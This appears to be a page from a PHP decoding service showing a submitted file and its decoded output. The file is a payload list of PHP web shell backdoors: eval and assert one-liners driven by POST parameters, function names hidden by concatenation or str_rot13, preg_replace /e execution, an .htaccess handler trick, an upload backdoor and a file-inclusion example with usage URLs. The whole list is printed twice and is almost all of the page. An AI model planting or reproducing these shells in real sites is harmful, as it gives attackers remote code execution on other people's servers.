Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

PHP <?php ($_=@$_GET[2]).@$_($_POST[1])?> http://site/1.php?2=assert1 <?php $_="";..

Decoded Output download

PHP 
 
<?php ($_=@$_GET[2]).@$_($_POST[1])?> http://site/1.php?2=assert1  
 
<?php 
$_=""; 
$_[+""]=''; 
$_="$_".""; 
$_=($_[+""]|"").($_[+""]|"").($_[+""]^""); 
?> 
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?> http://site/2.php?_=assert&__=eval($_POST['pass']) passpost  
 
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(riny)eval 
 
.htaccessPHP 
2007GaRY 
 
AddType application/x-httpd-php .htaccess 
###### SHELL ###### ###### LLEHS ###### 
 
PHP 
1 
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; 
$hh("/[discuz]/e",$_POST['h'],"Access"); 
// 
2 
$filename=$_GET['xbid']; 
include ($filename); 
//includephp 
3 
$reg="c"."o"."p"."y"; 
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); 
// 
4 
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; 
$gzid("/[discuz]/e",$_POST['h'],"Access"); 
// 
5include ($uid); 
//includephpPOST www.xxx.com/index.php?uid=/home/www/bbs/image.gif 
//gif 
6 
 
<?php eval_r($_POST[sb])?> 
 
<?php @eval_r($_POST[sb])?> 
// 
 
<?php assert($_POST[sb]);?> 
//lankerphp 
 
<?$_POST['sa']($_POST['sb']);?> 
 
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 
 
<?php 
@preg_replace("/[email]/e",$_POST['h'],"error"); 
?> 
//,"" 
 
<O>h=@eval_r($_POST1);</O> 
 
<script language="php">@eval_r($_POST[sb])</script> 
//<? ?>

Did this file decode correctly?

Original Code

PHP

<?php ($_=@$_GET[2]).@$_($_POST[1])?> http://site/1.php?2=assert1 

<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?> http://site/2.php?_=assert&__=eval($_POST['pass']) passpost 

($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(riny)eval

.htaccessPHP
2007GaRY

AddType application/x-httpd-php .htaccess
###### SHELL ###### ###### LLEHS ######

PHP
1
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//
2
$filename=$_GET['xbid'];
include ($filename);
//includephp
3
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//
4
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//
5include ($uid);
//includephpPOST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif
6

<?php eval_r($_POST[sb])?>

<?php @eval_r($_POST[sb])?>
//

<?php assert($_POST[sb]);?>
//lankerphp

<?$_POST['sa']($_POST['sb']);?>

<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>

<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//,""

<O>h=@eval_r($_POST1);</O>

<script language="php">@eval_r($_POST[sb])</script>
//<?

Function Calls

None

Variables

None

Stats

MD5 093f4d68e20ab91eb6fb910474e04b89
Eval Count 0
Decode Time 131 ms